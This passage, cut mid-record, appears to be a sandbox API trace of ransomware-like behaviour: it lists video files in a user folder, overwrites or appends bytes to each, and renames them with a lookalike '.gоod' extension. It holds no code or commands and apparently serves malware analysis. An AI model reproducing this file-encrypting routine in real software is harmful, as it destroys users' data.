ftLastAccessTime.dwHighDateTime=0x1d4cc3e, ftLastWriteTime.dwLowDateTime=0xdf3b9690, ftLastWriteTime.dwHighDateTime=0x1d4cc3e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0173.230] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1f9ed180 | out: lpFindFileData=0x1f9ed180*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3a50610, ftCreationTime.dwHighDateTime=0x1d4c96a, ftLastAccessTime.dwLowDateTime=0xabb1f550, ftLastAccessTime.dwHighDateTime=0x1d4cd63, ftLastWriteTime.dwLowDateTime=0xabb1f550, ftLastWriteTime.dwHighDateTime=0x1d4cd63, nFileSizeHigh=0x0, nFileSizeLow=0x43d, dwReserved0=0x0, dwReserved1=0x0, cFileName="DAccYjl4.avi", cAlternateFileName="")) returned 1 [0173.230] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1f9ed180 | out: lpFindFileData=0x1f9ed180*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x876b13f0, ftCreationTime.dwHighDateTime=0x1d4d454, ftLastAccessTime.dwLowDateTime=0xe3b3140, ftLastAccessTime.dwHighDateTime=0x1d4cc2a, ftLastWriteTime.dwLowDateTime=0xe3b3140, ftLastWriteTime.dwHighDateTime=0x1d4cc2a, nFileSizeHigh=0x0, nFileSizeLow=0xe55a, dwReserved0=0x0, dwReserved1=0x0, cFileName="mLU55Py7HW 9Xae0A3.flv", cAlternateFileName="MLU55P~1.FLV")) returned 1 [0173.231] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1f9ed180 | out: lpFindFileData=0x1f9ed180*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd1adf2b0, ftCreationTime.dwHighDateTime=0x1d4d194, ftLastAccessTime.dwLowDateTime=0x84339e10, ftLastAccessTime.dwHighDateTime=0x1d4d0cf, ftLastWriteTime.dwLowDateTime=0x84339e10, ftLastWriteTime.dwHighDateTime=0x1d4d0cf, nFileSizeHigh=0x0, nFileSizeLow=0x11e01, dwReserved0=0x0, dwReserved1=0x0, cFileName="ngU5Hl.mkv", cAlternateFileName="")) returned 1 [0173.231] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1f9ed180 | out: lpFindFileData=0x1f9ed180*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd91335d0, ftCreationTime.dwHighDateTime=0x1d4c80a, ftLastAccessTime.dwLowDateTime=0x9df702a0, ftLastAccessTime.dwHighDateTime=0x1d4d5a8, ftLastWriteTime.dwLowDateTime=0x9df702a0, ftLastWriteTime.dwHighDateTime=0x1d4d5a8, nFileSizeHigh=0x0, nFileSizeLow=0x17a33, dwReserved0=0x0, dwReserved1=0x0, cFileName="Nm3zM4D9NpJg.flv", cAlternateFileName="NM3ZM4~1.FLV")) returned 1 [0173.231] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1f9ed180 | out: lpFindFileData=0x1f9ed180*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa1d16180, ftCreationTime.dwHighDateTime=0x1d4d1d5, ftLastAccessTime.dwLowDateTime=0x1f2691d0, ftLastAccessTime.dwHighDateTime=0x1d4c6a2, ftLastWriteTime.dwLowDateTime=0x1f2691d0, ftLastWriteTime.dwHighDateTime=0x1d4c6a2, nFileSizeHigh=0x0, nFileSizeLow=0x25de, dwReserved0=0x0, dwReserved1=0x0, cFileName="oW8edn3.swf", cAlternateFileName="")) returned 1 [0173.231] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1f9ed180 | out: lpFindFileData=0x1f9ed180*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b2df600, ftCreationTime.dwHighDateTime=0x1d4c825, ftLastAccessTime.dwLowDateTime=0x81eea000, ftLastAccessTime.dwHighDateTime=0x1d4d5c5, ftLastWriteTime.dwLowDateTime=0x81eea000, ftLastWriteTime.dwHighDateTime=0x1d4d5c5, nFileSizeHigh=0x0, nFileSizeLow=0xeb3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="z5QQiGc.swf", cAlternateFileName="")) returned 1 [0173.231] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1f9ed180 | out: lpFindFileData=0x1f9ed180*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b2df600, ftCreationTime.dwHighDateTime=0x1d4c825, ftLastAccessTime.dwLowDateTime=0x81eea000, ftLastAccessTime.dwHighDateTime=0x1d4d5c5, ftLastWriteTime.dwLowDateTime=0x81eea000, ftLastWriteTime.dwHighDateTime=0x1d4d5c5, nFileSizeHigh=0x0, nFileSizeLow=0xeb3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="z5QQiGc.swf", cAlternateFileName="")) returned 0 [0173.231] FindClose (in: hFindFile=0x1283d30 | out: hFindFile=0x1283d30) returned 1 [0173.231] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed3e0) returned 1 [0173.231] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed3a0) returned 1 [0173.231] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\PDnrnw9vhNCZQ73n\\DAccYjl4.avi", nBufferLength=0x105, lpBuffer=0x1f9ecd80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\PDnrnw9vhNCZQ73n\\DAccYjl4.avi", lpFilePart=0x0) returned 0x40 [0173.232] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed250) returned 1 [0173.232] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\PDnrnw9vhNCZQ73n\\DAccYjl4.avi" (normalized: "c:\\users\\fd1hvy\\videos\\horlchtm5be\\pdnrnw9vhnczq73n\\daccyjl4.avi"), fInfoLevelId=0x0, lpFileInformation=0x36a7a90 | out: lpFileInformation=0x36a7a90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3a50610, ftCreationTime.dwHighDateTime=0x1d4c96a, ftLastAccessTime.dwLowDateTime=0xabb1f550, ftLastAccessTime.dwHighDateTime=0x1d4cd63, ftLastWriteTime.dwLowDateTime=0xabb1f550, ftLastWriteTime.dwHighDateTime=0x1d4cd63, nFileSizeHigh=0x0, nFileSizeLow=0x43d)) returned 1 [0173.232] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed210) returned 1 [0173.232] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\PDnrnw9vhNCZQ73n\\DAccYjl4.avi", nBufferLength=0x105, lpBuffer=0x1f9ecbe0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\PDnrnw9vhNCZQ73n\\DAccYjl4.avi", lpFilePart=0x0) returned 0x40 [0173.232] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed100) returned 1 [0173.232] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\PDnrnw9vhNCZQ73n\\DAccYjl4.avi" (normalized: "c:\\users\\fd1hvy\\videos\\horlchtm5be\\pdnrnw9vhnczq73n\\daccyjl4.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x580 [0173.232] GetFileType (hFile=0x580) returned 0x1 [0173.232] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed070) returned 1 [0173.232] GetFileType (hFile=0x580) returned 0x1 [0173.232] GetFileSize (in: hFile=0x580, lpFileSizeHigh=0x1f9ed2a8 | out: lpFileSizeHigh=0x1f9ed2a8*=0x0) returned 0x43d [0173.232] ReadFile (in: hFile=0x580, lpBuffer=0x36a8168, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9ed1d8, lpOverlapped=0x0 | out: lpBuffer=0x36a8168*, lpNumberOfBytesRead=0x1f9ed1d8*=0x43d, lpOverlapped=0x0) returned 1 [0173.232] CloseHandle (hObject=0x580) returned 1 [0173.624] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\PDnrnw9vhNCZQ73n\\DAccYjl4.avi", nBufferLength=0x105, lpBuffer=0x1f9ecbe0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\PDnrnw9vhNCZQ73n\\DAccYjl4.avi", lpFilePart=0x0) returned 0x40 [0173.625] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed100) returned 1 [0173.625] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\PDnrnw9vhNCZQ73n\\DAccYjl4.avi" (normalized: "c:\\users\\fd1hvy\\videos\\horlchtm5be\\pdnrnw9vhnczq73n\\daccyjl4.avi"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x580 [0173.626] GetFileType (hFile=0x580) returned 0x1 [0173.626] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed070) returned 1 [0173.626] GetFileType (hFile=0x580) returned 0x1 [0173.626] WriteFile (in: hFile=0x580, lpBuffer=0x355ab18*, nNumberOfBytesToWrite=0x440, lpNumberOfBytesWritten=0x1f9ed0e8, lpOverlapped=0x0 | out: lpBuffer=0x355ab18*, lpNumberOfBytesWritten=0x1f9ed0e8*=0x440, lpOverlapped=0x0) returned 1 [0173.626] CloseHandle (hObject=0x580) returned 1 [0173.627] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\PDnrnw9vhNCZQ73n\\DAccYjl4.avi", nBufferLength=0x105, lpBuffer=0x1f9ecd80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\PDnrnw9vhNCZQ73n\\DAccYjl4.avi", lpFilePart=0x0) returned 0x40 [0173.627] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\PDnrnw9vhNCZQ73n\\DAccYjl4.avi.gоod", nBufferLength=0x105, lpBuffer=0x1f9ecd80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\PDnrnw9vhNCZQ73n\\DAccYjl4.avi.gоod", lpFilePart=0x0) returned 0x45 [0173.627] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed210) returned 1 [0173.627] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\PDnrnw9vhNCZQ73n\\DAccYjl4.avi" (normalized: "c:\\users\\fd1hvy\\videos\\horlchtm5be\\pdnrnw9vhnczq73n\\daccyjl4.avi"), fInfoLevelId=0x0, lpFileInformation=0x1f9ed2f0 | out: lpFileInformation=0x1f9ed2f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3a50610, ftCreationTime.dwHighDateTime=0x1d4c96a, ftLastAccessTime.dwLowDateTime=0xabb1f550, ftLastAccessTime.dwHighDateTime=0x1d4cd63, ftLastWriteTime.dwLowDateTime=0x63b38e3c, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x440)) returned 1 [0173.627] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed1d0) returned 1 [0173.627] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\PDnrnw9vhNCZQ73n\\DAccYjl4.avi" (normalized: "c:\\users\\fd1hvy\\videos\\horlchtm5be\\pdnrnw9vhnczq73n\\daccyjl4.avi"), lpNewFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\PDnrnw9vhNCZQ73n\\DAccYjl4.avi.gоod" (normalized: "c:\\users\\fd1hvy\\videos\\horlchtm5be\\pdnrnw9vhnczq73n\\daccyjl4.avi.gоod")) returned 1 [0173.627] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\PDnrnw9vhNCZQ73n\\mLU55Py7HW 9Xae0A3.flv", nBufferLength=0x105, lpBuffer=0x1f9ecd80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\PDnrnw9vhNCZQ73n\\mLU55Py7HW 9Xae0A3.flv", lpFilePart=0x0) returned 0x4a [0173.627] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed250) returned 1 [0173.628] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\PDnrnw9vhNCZQ73n\\mLU55Py7HW 9Xae0A3.flv" (normalized: "c:\\users\\fd1hvy\\videos\\horlchtm5be\\pdnrnw9vhnczq73n\\mlu55py7hw 9xae0a3.flv"), fInfoLevelId=0x0, lpFileInformation=0x355bd90 | out: lpFileInformation=0x355bd90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x876b13f0, ftCreationTime.dwHighDateTime=0x1d4d454, ftLastAccessTime.dwLowDateTime=0xe3b3140, ftLastAccessTime.dwHighDateTime=0x1d4cc2a, ftLastWriteTime.dwLowDateTime=0xe3b3140, ftLastWriteTime.dwHighDateTime=0x1d4cc2a, nFileSizeHigh=0x0, nFileSizeLow=0xe55a)) returned 1 [0173.628] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed210) returned 1 [0173.628] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\PDnrnw9vhNCZQ73n\\mLU55Py7HW 9Xae0A3.flv", nBufferLength=0x105, lpBuffer=0x1f9ecc30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\PDnrnw9vhNCZQ73n\\mLU55Py7HW 9Xae0A3.flv", lpFilePart=0x0) returned 0x4a [0173.628] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed150) returned 1 [0173.628] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\PDnrnw9vhNCZQ73n\\mLU55Py7HW 9Xae0A3.flv" (normalized: "c:\\users\\fd1hvy\\videos\\horlchtm5be\\pdnrnw9vhnczq73n\\mlu55py7hw 9xae0a3.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x580 [0173.628] GetFileType (hFile=0x580) returned 0x1 [0173.628] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed0c0) returned 1 [0173.628] GetFileType (hFile=0x580) returned 0x1 [0173.628] SetFilePointer (in: hFile=0x580, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f9ed2a8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f9ed2a8*=0) returned 0x1000 [0173.628] ReadFile (in: hFile=0x580, lpBuffer=0x355c1d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9ed278, lpOverlapped=0x0 | out: lpBuffer=0x355c1d8*, lpNumberOfBytesRead=0x1f9ed278*=0x1000, lpOverlapped=0x0) returned 1 [0173.628] CloseHandle (hObject=0x580) returned 1 [0173.628] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\PDnrnw9vhNCZQ73n\\mLU55Py7HW 9Xae0A3.flv", nBufferLength=0x105, lpBuffer=0x1f9ecc30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\PDnrnw9vhNCZQ73n\\mLU55Py7HW 9Xae0A3.flv", lpFilePart=0x0) returned 0x4a [0173.628] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed150) returned 1 [0173.628] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\PDnrnw9vhNCZQ73n\\mLU55Py7HW 9Xae0A3.flv" (normalized: "c:\\users\\fd1hvy\\videos\\horlchtm5be\\pdnrnw9vhnczq73n\\mlu55py7hw 9xae0a3.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x580 [0173.629] GetFileType (hFile=0x580) returned 0x1 [0173.629] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed0c0) returned 1 [0173.629] GetFileType (hFile=0x580) returned 0x1 [0173.629] SetFilePointer (in: hFile=0x580, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f9ed2a8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f9ed2a8*=0) returned 0xe55a [0173.629] WriteFile (in: hFile=0x580, lpBuffer=0x355d488*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f9ed198, lpOverlapped=0x0 | out: lpBuffer=0x355d488*, lpNumberOfBytesWritten=0x1f9ed198*=0x10, lpOverlapped=0x0) returned 1 [0173.629] CloseHandle (hObject=0x580) returned 1 [0173.629] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\PDnrnw9vhNCZQ73n\\mLU55Py7HW 9Xae0A3.flv", nBufferLength=0x105, lpBuffer=0x1f9ecc30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\PDnrnw9vhNCZQ73n\\mLU55Py7HW 9Xae0A3.flv", lpFilePart=0x0) returned 0x4a [0173.629] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed150) returned 1 [0173.629] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\PDnrnw9vhNCZQ73n\\mLU55Py7HW 9Xae0A3.flv" (normalized: "c:\\users\\fd1hvy\\videos\\horlchtm5be\\pdnrnw9vhnczq73n\\mlu55py7hw 9xae0a3.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x580 [0173.629] GetFileType (hFile=0x580) returned 0x1 [0173.629] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed0c0) returned 1 [0173.629] GetFileType (hFile=0x580) returned 0x1 [0173.629] ReadFile (in: hFile=0x580, lpBuffer=0x355f760, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9ed228, lpOverlapped=0x0 | out: lpBuffer=0x355f760*, lpNumberOfBytesRead=0x1f9ed228*=0x1000, lpOverlapped=0x0) returned 1 [0174.052] CloseHandle (hObject=0x580) returned 1 [0174.052] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\PDnrnw9vhNCZQ73n\\mLU55Py7HW 9Xae0A3.flv", nBufferLength=0x105, lpBuffer=0x1f9ecc30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\PDnrnw9vhNCZQ73n\\mLU55Py7HW 9Xae0A3.flv", lpFilePart=0x0) returned 0x4a [0174.052] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed150) returned 1 [0174.052] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\PDnrnw9vhNCZQ73n\\mLU55Py7HW 9Xae0A3.flv" (normalized: "c:\\users\\fd1hvy\\videos\\horlchtm5be\\pdnrnw9vhnczq73n\\mlu55py7hw 9xae0a3.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x580 [0174.052] GetFileType (hFile=0x580) returned 0x1 [0174.052] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed0c0) returned 1 [0174.052] GetFileType (hFile=0x580) returned 0x1 [0174.052] WriteFile (in: hFile=0x580, lpBuffer=0x337c008*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f9ed2d8, lpOverlapped=0x0 | out: lpBuffer=0x337c008*, lpNumberOfBytesWritten=0x1f9ed2d8*=0x1010, lpOverlapped=0x0) returned 1 [0174.052] CloseHandle (hObject=0x580) returned 1 [0174.053] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\PDnrnw9vhNCZQ73n\\mLU55Py7HW 9Xae0A3.flv", nBufferLength=0x105, lpBuffer=0x1f9ecd80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\PDnrnw9vhNCZQ73n\\mLU55Py7HW 9Xae0A3.flv", lpFilePart=0x0) returned 0x4a [0174.053] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\PDnrnw9vhNCZQ73n\\mLU55Py7HW 9Xae0A3.flv.gоod", nBufferLength=0x105, lpBuffer=0x1f9ecd80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\PDnrnw9vhNCZQ73n\\mLU55Py7HW 9Xae0A3.flv.gоod", lpFilePart=0x0) returned 0x4f [0174.053] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed210) returned 1 [0174.053] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\PDnrnw9vhNCZQ73n\\mLU55Py7HW 9Xae0A3.flv" (normalized: "c:\\users\\fd1hvy\\videos\\horlchtm5be\\pdnrnw9vhnczq73n\\mlu55py7hw 9xae0a3.flv"), fInfoLevelId=0x0, lpFileInformation=0x1f9ed2f0 | out: lpFileInformation=0x1f9ed2f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x876b13f0, ftCreationTime.dwHighDateTime=0x1d4d454, ftLastAccessTime.dwLowDateTime=0xe3b3140, ftLastAccessTime.dwHighDateTime=0x1d4cc2a, ftLastWriteTime.dwLowDateTime=0x63f411cf, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xe56a)) returned 1 [0174.053] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed1d0) returned 1 [0174.053] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\PDnrnw9vhNCZQ73n\\mLU55Py7HW 9Xae0A3.flv" (normalized: "c:\\users\\fd1hvy\\videos\\horlchtm5be\\pdnrnw9vhnczq73n\\mlu55py7hw 9xae0a3.flv"), lpNewFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\PDnrnw9vhNCZQ73n\\mLU55Py7HW 9Xae0A3.flv.gоod" (normalized: "c:\\users\\fd1hvy\\videos\\horlchtm5be\\pdnrnw9vhnczq73n\\mlu55py7hw 9xae0a3.flv.gоod")) returned 1 [0174.054] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\PDnrnw9vhNCZQ73n\\ngU5Hl.mkv", nBufferLength=0x105, lpBuffer=0x1f9ecd80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\PDnrnw9vhNCZQ73n\\ngU5Hl.mkv", lpFilePart=0x0) returned 0x3e [0174.054] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed250) returned 1 [0174.054] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\PDnrnw9vhNCZQ73n\\ngU5Hl.mkv" (normalized: "c:\\users\\fd1hvy\\videos\\horlchtm5be\\pdnrnw9vhnczq73n\\ngu5hl.mkv"), fInfoLevelId=0x0, lpFileInformation=0x33f8d08 | out: lpFileInformation=0x33f8d08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd1adf2b0, ftCreationTime.dwHighDateTime=0x1d4d194, ftLastAccessTime.dwLowDateTime=0x84339e10, ftLastAccessTime.dwHighDateTime=0x1d4d0cf, ftLastWriteTime.dwLowDateTime=0x84339e10, ftLastWriteTime.dwHighDateTime=0x1d4d0cf, nFileSizeHigh=0x0, nFileSizeLow=0x11e01)) returned 1 [0174.054] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed210) returned 1 [0174.054] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\PDnrnw9vhNCZQ73n\\ngU5Hl.mkv", nBufferLength=0x105, lpBuffer=0x1f9ecc30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\PDnrnw9vhNCZQ73n\\ngU5Hl.mkv", lpFilePart=0x0) returned 0x3e [0174.054] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed150) returned 1 [0174.054] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\PDnrnw9vhNCZQ73n\\ngU5Hl.mkv" (normalized: "c:\\users\\fd1hvy\\videos\\horlchtm5be\\pdnrnw9vhnczq73n\\ngu5hl.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x580 [0174.055] GetFileType (hFile=0x580) returned 0x1 [0174.055] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed0c0) returned 1 [0174.055] GetFileType (hFile=0x580) returned 0x1 [0174.055] SetFilePointer (in: hFile=0x580, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f9ed2a8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f9ed2a8*=0) returned 0x1000 [0174.055] ReadFile (in: hFile=0x580, lpBuffer=0x33f90f0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9ed278, lpOverlapped=0x0 | out: lpBuffer=0x33f90f0*, lpNumberOfBytesRead=0x1f9ed278*=0x1000, lpOverlapped=0x0) returned 1 [0174.056] CloseHandle (hObject=0x580) returned 1 [0174.056] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\PDnrnw9vhNCZQ73n\\ngU5Hl.mkv", nBufferLength=0x105, lpBuffer=0x1f9ecc30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\PDnrnw9vhNCZQ73n\\ngU5Hl.mkv", lpFilePart=0x0) returned 0x3e [0174.056] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed150) returned 1 [0174.056] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\PDnrnw9vhNCZQ73n\\ngU5Hl.mkv" (normalized: "c:\\users\\fd1hvy\\videos\\horlchtm5be\\pdnrnw9vhnczq73n\\ngu5hl.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x580 [0174.056] GetFileType (hFile=0x580) returned 0x1 [0174.056] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed0c0) returned 1 [0174.056] GetFileType (hFile=0x580) returned 0x1 [0174.056] SetFilePointer (in: hFile=0x580, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f9ed2a8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f9ed2a8*=0) returned 0x11e01 [0174.056] WriteFile (in: hFile=0x580, lpBuffer=0x33fa370*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f9ed198, lpOverlapped=0x0 | out: lpBuffer=0x33fa370*, lpNumberOfBytesWritten=0x1f9ed198*=0x10, lpOverlapped=0x0) returned 1 [0174.056] CloseHandle (hObject=0x580) returned 1 [0174.056] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\PDnrnw9vhNCZQ73n\\ngU5Hl.mkv", nBufferLength=0x105, lpBuffer=0x1f9ecc30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\PDnrnw9vhNCZQ73n\\ngU5Hl.mkv", lpFilePart=0x0) returned 0x3e [0174.057] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed150) returned 1 [0174.057] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\PDnrnw9vhNCZQ73n\\ngU5Hl.mkv" (normalized: "c:\\users\\fd1hvy\\videos\\horlchtm5be\\pdnrnw9vhnczq73n\\ngu5hl.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x580 [0174.057] GetFileType (hFile=0x580) returned 0x1 [0174.057] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed0c0) returned 1 [0174.057] GetFileType (hFile=0x580) returned 0x1 [0174.057] ReadFile (in: 